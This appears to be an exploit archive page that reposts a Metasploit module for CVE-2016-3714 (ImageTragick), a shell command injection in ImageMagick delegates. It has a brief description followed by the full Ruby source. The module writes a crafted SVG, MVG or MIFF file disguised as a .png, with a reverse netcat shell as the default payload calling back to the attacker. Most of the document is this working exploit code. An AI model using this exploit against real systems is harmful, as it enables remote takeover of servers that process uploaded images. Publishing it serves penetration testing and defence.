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ImageMagick Delegate Arbitrary Command Execution

ImageMagick Delegate Arbitrary Command Execution
Posted May 6, 2016
Authored by wvu, Nikolay Ermishkin, hdm, stewie | Site metasploit.com

This Metasploit module exploits a shell command injection in the way "delegates" (commands for converting files) are processed in ImageMagick versions <= 7.0.1-0 and <= 6.9.3-9 (legacy). Since ImageMagick uses file magic to detect file format, you can create a .png (for example) which is actually a crafted SVG (for example) that triggers the command injection. Tested on Linux, BSD, and OS X. You'll want to choose your payload carefully due to portability concerns. Use cmd/unix/generic if need be.

tags | exploit, shell
systems | linux, unix, bsd, apple, osx
MD5 | 673c4b90719c9b8a377e4c72d8396c29

ImageMagick Delegate Arbitrary Command Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'ImageMagick Delegate Arbitrary Command Execution',
'Description' => %q{
This module exploits a shell command injection in the way "delegates"
(commands for converting files) are processed in ImageMagick versions
<= 7.0.1-0 and <= 6.9.3-9 (legacy).

Since ImageMagick uses file magic to detect file format, you can create
a .png (for example) which is actually a crafted SVG (for example) that
triggers the command injection.

Tested on Linux, BSD, and OS X. You'll want to choose your payload
carefully due to portability concerns. Use cmd/unix/generic if need be.
},
'Author' => [
'stewie', # Vulnerability discovery
'Nikolay Ermishkin', # Vulnerability discovery
'wvu', # Metasploit module
'hdm' # Metasploit module
],
'References' => [
%w{CVE 2016-3714},
%w{URL https://imagetragick.com/},
%w{URL http://seclists.org/oss-sec/2016/q2/205},
%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456}
],
'DisclosureDate' => 'May 3 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'BadChars' => "\x22\x27\x5c", # ", ', and \
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic netcat bash-tcp'
}
},
'Targets' => [
['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
['MIFF file', template: 'msf.miff'] # convert -label "" msf.svg msf.miff
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'LHOST' => Rex::Socket.source_address,
'DisablePayloadHandler' => false,
'WfsDelay' => 9001
}
))

register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.png'])
])
end

def exploit
if target.name == 'SVG file'
p = Rex::Text.html_encode(payload.encoded)
else
p = payload.encoded
end

file_create(template.sub('echo vulnerable', p))
end

def template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2016-3714', target[:template]
))
end

end

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